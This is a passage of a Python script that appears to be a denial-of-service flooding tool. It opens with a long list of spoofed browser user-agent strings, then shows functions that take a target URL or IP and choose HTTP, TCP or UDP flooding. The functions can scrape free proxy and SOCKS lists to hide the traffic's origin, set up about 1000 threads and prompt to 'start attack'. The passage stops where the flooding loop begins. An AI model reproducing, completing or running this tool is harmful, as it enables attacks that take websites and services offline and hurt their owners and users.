"Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95/10.0.018; Profile/MIDP-2.0 Configuration/CLDC-1.1) AppleWebKit/413 (KHTML, like Gecko) Safari/413 UP.Link/6.3.0.0.0",
249
"Mozilla/5.0 (SymbianOS 9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344",
250
"Mozilla/5.0 (SymbianOS/9.4; Series60/5.0 NokiaN97-1/10.0.012; Profile/MIDP-2.1 Configuration/CLDC-1.1; en-us) AppleWebKit/525 (KHTML, like Gecko) WicKed/7.1.12344",
251
"Mozilla/5.0 (SymbianOS/9.4; U; Series60/5.0 SonyEricssonP100/01; Profile/MIDP-2.1 Configuration/CLDC-1.1) AppleWebKit/525 (KHTML, like Gecko) Version/3.0 Safari/525",
252
"Mozilla/5.0 (Unknown; U; UNIX BSD/SYSV system; C -) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.2",
253
"Mozilla/5.0 (webOS/1.3; U; en-US) AppleWebKit/525.27.1 (KHTML, like Gecko) Version/1.0 Safari/525.27.1 Desktop/1.0",
254
"Mozilla/5.0 (WindowsCE 6.0; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
255
"Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0",
256
"Mozilla/5.0 (Windows NT 5.2; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
257
"Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.874.120 Safari/535.2",
258
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/18.6.872.0 Safari/535.2 UNTRUSTED/1.0 3gpp-gba UNTRUSTED/1.0",
259
"Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0",
260
"Mozilla/5.0 (Windows NT 6.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
261
"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
262
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.27 (KHTML, like Gecko) Chrome/12.0.712.0 Safari/534.27",
263
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
264
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.7 (KHTML, like Gecko) Chrome/16.0.912.36 Safari/535.7",
265
"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1092.0 Safari/536.6",
266
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
267
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1",
268
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b4pre) Gecko/20100815 Minefield/4.0b4pre",
269
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110622 Firefox/6.0a2",
270
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:7.0.1) Gecko/20100101 Firefox/7.0.1",
271
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.3 (KHTML, like Gecko) Chrome/19.0.1061.1 Safari/536.3",
272
"Mozilla/5.0 (Windows NT 6.2) AppleWebKit/536.6 (KHTML, like Gecko) Chrome/20.0.1090.0 Safari/536.6",
273
"Mozilla/5.0 (Windows; U; ; en-NZ) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.8.0",
274
"Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.4) Gecko Netscape/7.1 (ax)",
275
"Mozilla/5.0 (Windows; U; Windows CE 5.1; rv:1.8.1a3) Gecko/20060610 Minimo/0.016",
276
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
277
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
278
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.23) Gecko/20090825 SeaMonkey/1.1.18",
279
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10",
280
"Mozilla/5.0 (Windows; U; Windows NT 5.1; tr; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0E)",
281
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.310.0 Safari/532.9",
282
"Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/533.17.8 (KHTML, like Gecko) Version/5.0.1 Safari/533.17.8",
283
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.11) Gecko/2009060215 Firefox/3.0.11 (.NET CLR 3.5.30729)",
284
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.6 (Change: )",
285
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.1 (KHTML, like Gecko) Maxthon/3.0.8.2 Safari/533.1",
286
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/9.0.601.0 Safari/534.14",
287
"Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 GTB5",
288
"Mozilla/5.0 (Windows; U; Windows NT 6.0 x64; en-US; rv:1.9pre) Gecko/2008072421 Minefield/3.0.2pre",
289
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.17) Gecko/20110123 (like Firefox/3.x) SeaMonkey/2.0.12",
290
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5",
291
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5",
292
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14",
293
"Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
294
"Mozilla/5.0 (Windows; U; Windows XP) Gecko MultiZilla/1.6.1.0a",
295
"Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.2b) Gecko/20021001 Phoenix/0.2",
296
"Mozilla/5.0 (X11; FreeBSD amd64; rv:5.0) Gecko/20100101 Firefox/5.0",
297
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.34 (KHTML, like Gecko) QupZilla/1.2.0 Safari/534.34",
298
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.1 (KHTML, like Gecko) Ubuntu/11.04 Chromium/14.0.825.0 Chrome/14.0.825.0 Safari/535.1",
299
"Mozilla/5.0 (X11; Linux i686) AppleWebKit/535.2 (KHTML, like Gecko) Ubuntu/11.10 Chromium/15.0.874.120 Chrome/15.0.874.120 Safari/535.2",
300
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
301
"Mozilla/5.0 (X11; Linux i686 on x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1",
302
"Mozilla/5.0 (X11; Linux i686; rv:10.0.1) Gecko/20100101 Firefox/10.0.1 SeaMonkey/2.7.1",
303
"Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 ",
304
"Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
305
"Mozilla/5.0 (X11; Linux i686; rv:2.0b6pre) Gecko/20100907 Firefox/4.0b6pre",
306
"Mozilla/5.0 (X11; Linux i686; rv:5.0) Gecko/20100101 Firefox/5.0",
307
"Mozilla/5.0 (X11; Linux i686; rv:6.0a2) Gecko/20110615 Firefox/6.0a2 Iceweasel/6.0a2",
308
"Mozilla/5.0 (X11; Linux i686; rv:6.0) Gecko/20100101 Firefox/6.0",
309
"Mozilla/5.0 (X11; Linux i686; rv:8.0) Gecko/20100101 Firefox/8.0",
310
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24",
311
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
312
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.9 Safari/536.5",
313
"Mozilla/5.0 (X11; Linux x86_64; en-US; rv:2.0b2pre) Gecko/20100712 Minefield/4.0b2pre",
314
"Mozilla/5.0 (X11; Linux x86_64; rv:10.0.1) Gecko/20100101 Firefox/10.0.1",
315
"Mozilla/5.0 (X11; Linux x86_64; rv:11.0a2) Gecko/20111230 Firefox/11.0a2 Iceweasel/11.0a2",
316
"Mozilla/5.0 (X11; Linux x86_64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1",
317
"Mozilla/5.0 (X11; Linux x86_64; rv:2.2a1pre) Gecko/20100101 Firefox/4.2a1pre",
318
"Mozilla/5.0 (X11; Linux x86_64; rv:5.0) Gecko/20100101 Firefox/5.0 Iceweasel/5.0",
319
"Mozilla/5.0 (X11; Linux x86_64; rv:7.0a1) Gecko/20110623 Firefox/7.0a1",
320
"Mozilla/5.0 (X11; U; FreeBSD amd64; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
321
"Mozilla/5.0 (X11; U; FreeBSD i386; de-CH; rv:1.9.2.8) Gecko/20100729 Firefox/3.6.8",
322
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.207.0 Safari/532.0",
323
"Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.6) Gecko/20040406 Galeon/1.3.15",
324
"Mozilla/5.0 (X11; U; FreeBSD; i386; en-US; rv:1.7) Gecko",
325
"Mozilla/5.0 (X11; U; FreeBSD x86_64; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16",
326
"Mozilla/5.0 (X11; U; Linux arm7tdmi; rv:1.8.1.11) Gecko/20071130 Minimo/0.025",
327
"Mozilla/5.0 (X11; U; Linux armv61; en-US; rv:1.9.1b2pre) Gecko/20081015 Fennec/1.0a1",
328
"Mozilla/5.0 (X11; U; Linux armv6l; rv 1.8.1.5pre) Gecko/20070619 Minimo/0.020",
329
"Mozilla/5.0 (X11; U; Linux; en-US) AppleWebKit/527 (KHTML, like Gecko, Safari/419.3) Arora/0.10.1",
330
"Mozilla/5.0 (X11; U; Linux i586; en-US; rv:1.7.3) Gecko/20040924 Epiphany/1.4.4 (Ubuntu)",
331
"Mozilla/5.0 (X11; U; Linux i686; en-us) AppleWebKit/528.5 (KHTML, like Gecko, Safari/528.5 ) lt-GtkLauncher",
332
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.4 (KHTML, like Gecko) Chrome/4.0.237.0 Safari/532.4 Debian",
333
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/532.8 (KHTML, like Gecko) Chrome/4.0.277.0 Safari/532.8",
334
"Mozilla/5.0 (X11; U; Linux i686; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Ubuntu/10.10 Chromium/10.0.613.0 Chrome/10.0.613.0 Safari/534.15",
335
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.6) Gecko/20040614 Firefox/0.8",
336
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Debian/1.6-7",
337
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Epiphany/1.2.5",
338
"Mozilla/5.0 (X11; U; Linux; i686; en-US; rv:1.6) Gecko Galeon/1.3.14",
339
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 MG(Novarra-Vision/6.9)",
340
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.16) Gecko/20080716 (Gentoo) Galeon/2.0.6",
341
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1) Gecko/20061024 Firefox/2.0 (Swiftfox)",
342
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.11) Gecko/2009060309 Ubuntu/9.10 (karmic) Firefox/3.0.11",
343
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.8) Gecko Galeon/2.0.6 (Ubuntu 2.0.6-2)",
344
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.16) Gecko/20120421 Gecko Firefox/11.0",
345
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.2) Gecko/20090803 Ubuntu/9.04 (jaunty) Shiretoko/3.5.2",
346
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9a3pre) Gecko/20070330",
347
"Mozilla/5.0 (X11; U; Linux i686; it; rv:1.9.2.3) Gecko/20100406 Firefox/3.6.3 (Swiftfox)",
348
"Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.0.2) Gecko/20121223 Ubuntu/9.25 (jaunty) Firefox/3.8",
349
"Mozilla/5.0 (X11; U; Linux i686; pt-PT; rv:1.9.2.3) Gecko/20100402 Iceweasel/3.6.3 (like Firefox/3.6.3) GTB7.0",
350
"Mozilla/5.0 (X11; U; Linux ppc; en-US; rv:1.8.1.13) Gecko/20080313 Iceape/1.1.9 (Debian-1.1.9-5)",
351
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.309.0 Safari/532.9",
352
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.15 (KHTML, like Gecko) Chrome/10.0.613.0 Safari/534.15",
353
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.514.0 Safari/534.7",
354
"Mozilla/5.0 (X11; U; Linux x86_64; en-US) AppleWebKit/540.0 (KHTML, like Gecko) Ubuntu/10.10 Chrome/9.1.0.0 Safari/540.0",
355
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.3) Gecko/2008092814 (Debian-3.0.1-1)",
356
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.13) Gecko/20100916 Iceape/2.0.8",
357
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.17) Gecko/20110123 SeaMonkey/2.0.12",
358
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20091020 Linux Mint/8 (Helena) Firefox/3.5.3",
359
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.5) Gecko/20091107 Firefox/3.5.5",
360
"Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.9) Gecko/20100915 Gentoo Firefox/3.6.9",
361
"Mozilla/5.0 (X11; U; Linux x86_64; sv-SE; rv:1.8.1.12) Gecko/20080207 Ubuntu/7.10 (gutsy) Firefox/2.0.0.12",
362
"Mozilla/5.0 (X11; U; Linux x86_64; us; rv:1.9.1.19) Gecko/20110430 shadowfox/7.0 (like Firefox/7.0",
363
"Mozilla/5.0 (X11; U; NetBSD amd64; en-US; rv:1.9.2.15) Gecko/20110308 Namoroka/3.6.15",
364
"Mozilla/5.0 (X11; U; OpenBSD arm; en-us) AppleWebKit/531.2 (KHTML, like Gecko) Safari/531.2 Epiphany/2.30.0",
365
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.359.0 Safari/533.3",
366
"Mozilla/5.0 (X11; U; OpenBSD i386; en-US; rv:1.9.1) Gecko/20090702 Firefox/3.5",
367
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.8.1.12) Gecko/20080303 SeaMonkey/1.1.8",
368
"Mozilla/5.0 (X11; U; SunOS i86pc; en-US; rv:1.9.1b3) Gecko/20090429 Firefox/3.1b3",
369
"Mozilla/5.0 (X11; U; SunOS sun4m; en-US; rv:1.4b) Gecko/20030517 Mozilla Firebird/0.6",
370
"MSIE (MSIE 6.0; X11; Linux; i686) Opera 7.23",
371
"msnbot/0.11 ( http://search.msn.com/msnbot.htm)",
372
"msnbot/1.0 ( http://search.msn.com/msnbot.htm)",
373
"msnbot/1.1 ( http://search.msn.com/msnbot.htm)",
374
"msnbot-media/1.1 ( http://search.msn.com/msnbot.htm)",
375
"NetSurf/1.2 (NetBSD; amd64)",
376
"Nokia3230/2.0 (5.0614.0) SymbianOS/7.0s Series60/2.1 Profile/MIDP-2.0 Configuration/CLDC-1.0",
377
"Nokia6100/1.0 (04.01) Profile/MIDP-1.0 Configuration/CLDC-1.0",
378
"Nokia6230/2.0 (04.44) Profile/MIDP-2.0 Configuration/CLDC-1.1",
379
"Nokia6230i/2.0 (03.80) Profile/MIDP-2.0 Configuration/CLDC-1.1",
380
"Nokia6630/1.0 (2.3.129) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1",
381
"Nokia6630/1.0 (2.39.15) SymbianOS/8.0 Series60/2.6 Profile/MIDP-2.0 Configuration/CLDC-1.1",
382
"Nokia7250/1.0 (3.14) Profile/MIDP-1.0 Configuration/CLDC-1.0",
383
"NokiaN70-1/5.0609.2.0.1 Series60/2.8 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0",
384
"NokiaN73-1/3.0649.0.0.1 Series60/3.0 Profile/MIDP2.0 Configuration/CLDC-1.1",
385
"nook browser/1.0",
386
"Offline Explorer/2.5",
387
"Opera/10.61 (J2ME/MIDP; Opera Mini/5.1.21219/19.999; en-US; rv:1.9.3a5) WebKit/534.5 Presto/2.6.30",
388
"Opera/7.50 (Windows ME; U) [en]",
389
"Opera/7.50 (Windows XP; U)",
390
"Opera/7.51 (Windows NT 5.1; U) [en]",
391
"Opera/8.01 (J2ME/MIDP; Opera Mini/1.0.1479/HiFi; SonyEricsson P900; no; U; ssr)",
392
"Opera/9.0 (Macintosh; PPC Mac OS X; U; en)",
393
"Opera/9.20 (Macintosh; Intel Mac OS X; U; en)",
394
"Opera/9.25 (Windows NT 6.0; U; en)",
395
"Opera/9.30 (Nintendo Wii; U; ; 2047-7; en)",
396
"Opera/9.51 Beta (Microsoft Windows; PPC; Opera Mobi/1718; U; en)",
397
"Opera/9.5 (Microsoft Windows; PPC; Opera Mobi; U) SonyEricssonX1i/R2AA Profile/MIDP-2.0 Configuration/CLDC-1.1",
398
"Opera/9.60 (J2ME/MIDP; Opera Mini/4.1.11320/608; U; en) Presto/2.2.0",
399
"Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14320/554; U; cs) Presto/2.2.0",
400
"Opera/9.64 (Macintosh; PPC Mac OS X; U; en) Presto/2.1.1",
401
"Opera/9.64 (X11; Linux i686; U; Linux Mint; nb) Presto/2.1.1",
402
"Opera/9.80 (J2ME/MIDP; Opera Mini/5.0.16823/1428; U; en) Presto/2.2.0",
403
"Opera/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto/2.7.62 Version/11.00",
404
"Opera/9.80 (Macintosh; Intel Mac OS X 10.6.8; U; fr) Presto/2.9.168 Version/11.52",
405
"Opera/9.80 (Macintosh; Intel Mac OS X; U; en) Presto/2.6.30 Version/10.61",
406
"Opera/9.80 (S60; SymbOS; Opera Mobi/499; U; ru) Presto/2.4.18 Version/10.00",
407
"Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.7.39 Version/11.00",
408
"Opera/9.80 (Windows NT 5.1; U; zh-tw) Presto/2.8.131 Version/11.10",
409
"Opera/9.80 (Windows NT 5.2; U; en) Presto/2.2.15 Version/10.10",
410
"Opera/9.80 (Windows NT 6.1; U; en) Presto/2.7.62 Version/11.01",
411
"Opera/9.80 (Windows NT 6.1; U; es-ES) Presto/2.9.181 Version/12.00",
412
"Opera/9.80 (X11; Linux i686; U; en) Presto/2.2.15 Version/10.10",
413
"Opera/9.80 (X11; Linux x86_64; U; pl) Presto/2.7.62 Version/11.00",
414
"P3P Validator",
415
"Peach/1.01 (Ubuntu 8.04 LTS; U; en)",
416
"POLARIS/6.01(BREW 3.1.5;U;en-us;LG;LX265;POLARIS/6.01/WAP;)MMP/2.0 profile/MIDP-201 Configuration /CLDC-1.1",
417
"POLARIS/6.01 (BREW 3.1.5; U; en-us; LG; LX265; POLARIS/6.01/WAP) MMP/2.0 profile/MIDP-2.1 Configuration/CLDC-1.1",
418
"portalmmm/2.0 N410i(c20;TB) ",
419
"Python-urllib/2.5",
420
"SAMSUNG-S8000/S8000XXIF3 SHP/VPP/R5 Jasmine/1.0 Nextreaming SMM-MMS/1.2.0 profile/MIDP-2.1 configuration/CLDC-1.1 FirePHP/0.3",
421
"SAMSUNG-SGH-A867/A867UCHJ3 SHP/VPP/R5 NetFront/35 SMM-MMS/1.2.0 profile/MIDP-2.0 configuration/CLDC-1.1 UP.Link/6.3.0.0.0",
422
"SAMSUNG-SGH-E250/1.0 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Browser/6.2.3.3.c.1.101 (GUI) MMP/2.0 (compatible; Googlebot-Mobile/2.1; http://www.google.com/bot.html)",
423
"SearchExpress",
424
"SEC-SGHE900/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4509/1378; nl; U; ssr)",
425
"SEC-SGHX210/1.0 UP.Link/6.3.1.13.0",
426
"SEC-SGHX820/1.0 NetFront/3.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
427
"SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0",
428
"SonyEricssonK550i/R1JD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
429
"SonyEricssonK610i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
430
"SonyEricssonK750i/R1CA Browser/SEMC-Browser/4.2 Profile/MIDP-2.0 Configuration/CLDC-1.1",
431
"SonyEricssonK800i/R1CB Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0",
432
"SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
433
"SonyEricssonS500i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
434
"SonyEricssonT100/R101",
435
"SonyEricssonT610/R201 Profile/MIDP-1.0 Configuration/CLDC-1.0",
436
"SonyEricssonT650i/R7AA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
437
"SonyEricssonT68/R201A",
438
"SonyEricssonW580i/R6BC Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
439
"SonyEricssonW660i/R6AD Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
440
"SonyEricssonW810i/R4EA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0",
441
"SonyEricssonW850i/R1ED Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1",
442
"SonyEricssonW950i/R100 Mozilla/4.0 (compatible; MSIE 6.0; Symbian OS; 323) Opera 8.60 [en-US]",
443
"SonyEricssonW995/R1EA Profile/MIDP-2.1 Configuration/CLDC-1.1 UNTRUSTED/1.0",
444
"SonyEricssonZ800/R1Y Browser/SEMC-Browser/4.1 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.0.0.0",
445
"SuperBot/4.4.0.60 (Windows XP)",
446
"Uzbl (Webkit 1.3) (Linux i686 [i686])",
447
"Vodafone/1.0/V802SE/SEJ001 Browser/SEMC-Browser/4.1",
448
"W3C_Validator/1.305.2.12 libwww-perl/5.64",
449
"W3C_Validator/1.654",
450
"w3m/0.5.1",
451
"WDG_Validator/1.6.2",
452
"WebCopier v4.6",
453
"Web Downloader/6.9",
454
"WebZIP/3.5 (http://www.spidersoft.com)",
455
"Wget/1.9.1",
456
"Wget/1.9 cvs-stable (Red Hat modified)",
457
"wii libnup/1.0",
458
]
459
460
461
def starturl(): # in questa funzione setto l'url per renderlo usabile per il futuro settaggio delle richieste HTTP.
462
global url
463
global url2
464
global urlport
465
466
url = input("URL/IP: ").strip()
467
468
if url == "":
469
print ("Please enter the url.")
470
starturl()
471
472
try:
473
if url[0]+url[1]+url[2]+url[3] == "www.":
474
url = "http://" + url
475
elif url[0]+url[1]+url[2]+url[3] == "http":
476
pass
477
else:
478
url = "http://" + url
479
except:
480
print("You mistyped, try again.")
481
starturl()
482
483
try:
484
url2 = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[0]
485
except:
486
url2 = url.replace("http://", "").replace("https://", "").split("/")[0]
487
488
try:
489
urlport = url.replace("http://", "").replace("https://", "").split("/")[0].split(":")[1]
490
except:
491
urlport = "80"
492
493
floodmode()
494
495
def floodmode(): # la scelta della modalità di attacco
496
global choice1
497
choice1 = input("HTTP 0 : ")
498
if choice1 == "0":
499
proxymode()
500
elif choice1 == "1":
501
try:
502
if os.getuid() != 0: # se il programma NON e' stato eseguito come root:
503
print("You need to run this program as root to use TCP/UDP flooding.") # printa questo
504
exit(0) # e esce
505
else: # altrimenti
506
floodport() # continua
507
except:
508
pass
509
elif choice1 == "2":
510
try:
511
if os.getuid() != 0: # se il programma NON e' stato eseguito come root:
512
print("You need to run this program as root to use TCP/UDP flooding.") # printa questo
513
exit(0) # e esce
514
else: # altrimenti
515
floodport() # continua
516
except:
517
pass
518
else:
519
print ("You mistyped, try again.")
520
floodmode()
521
522
def floodport():
523
global port
524
try:
525
port = int(input("Enter the port you want to flood: "))
526
portlist = range(65535) # range di tutte le porte informatiche
527
if port in portlist: # se la porta selezionata rientra nel range
528
pass # continua
529
else: # altrimenti
530
print ("You mistyped, try again.")
531
floodport() # riparte la funzione e ti fa riscrivere
532
except ValueError: # se da' errore di valore
533
print ("You mistyped, try again.") # printa questo e
534
floodport() # riparte la funzione e ti fa riscrivere
535
proxymode()
536
537
def proxymode():
538
global choice2
539
choice2 = input("Proxy y/n: ")
540
if choice2 == "y":
541
choiceproxysocks()
542
else:
543
numthreads()
544
545
def choiceproxysocks():
546
global choice3
547
choice3 = input("Start 1: ")
548
if choice3 == "0":
549
choicedownproxy()
550
elif choice3 == "1":
551
choicedownsocks()
552
else:
553
print ("You mistyped, try again.")
554
choiceproxysocks()
555
556
def choicedownproxy():
557
choice4 = input("Download ? y/n: ")
558
if choice4 == "y":
559
urlproxy = "http://free-proxy-list.net/"
560
proxyget(urlproxy)
561
else:
562
proxylist()
563
564
def choicedownsocks():
565
choice4 = input("Download ? y/n: ")
566
if choice4 == "y":
567
urlproxy = "https://www.socks-proxy.net/"
568
proxyget(urlproxy)
569
else:
570
proxylist()
571
572
def proxyget(urlproxy): # lo dice il nome, questa funzione scarica i proxies
573
try:
574
req = urllib.request.Request(("%s") % (urlproxy)) # qua impostiamo il sito da dove scaricare.
575
req.add_header("User-Agent", random.choice(useragents)) # siccome il format del sito e' identico sia
576
sourcecode = urllib.request.urlopen(req) # per free-proxy-list.net che per socks-proxy.net,
577
part = str(sourcecode.read()) # imposto la variabile urlproxy in base a cosa si sceglie.
578
part = part.split("<tbody>")
579
part = part[1].split("</tbody>")
580
part = part[0].split("<tr><td>")
581
proxies = ""
582
for proxy in part:
583
proxy = proxy.split("</td><td>")
584
try:
585
proxies=proxies + proxy[0] + ":" + proxy[1] + "\n"
586
except:
587
pass
588
out_file = open("proxy.txt","w")
589
out_file.write("")
590
out_file.write(proxies)
591
out_file.close()
592
print ("Proxies downloaded successfully.")
593
except: # se succede qualche casino
594
print ("\nERROR!\n")
595
proxylist() # se va tutto liscio allora prosegue eseguendo la funzione proxylist()
596
597
def proxylist():
598
global proxies
599
out_file = str(input("import Proxy: "))
600
if out_file == "":
601
out_file = "proxy.txt"
602
proxies = open(out_file).readlines()
603
numthreads()
604
605
def numthreads():
606
global threads
607
try:
608
threads = int(input("Insert number of threads (1000): "))
609
except ValueError:
610
threads = 1000
611
print ("1000 threads selected.\n")
612
multiplication()
613
614
def multiplication():
615
global multiple
616
try:
617
multiple = int(input("100 Start: "))
618
except ValueError:
619
print("You mistyped, try again.\n")
620
multiplication()
621
begin()
622
623
def begin():
624
choice6 = input("Press 'Enter' to start attack: ")
625
if choice6 == "":
626
loop()
627
elif choice6 == "Enter": #lool
628
loop()
629
elif choice6 == "enter": #loool
630
loop()
631
else:
632
exit(0)
633
634
def loop():
635
global threads
636
global get_host
637
global acceptall
638
global connection
639
global go
640
global x
641
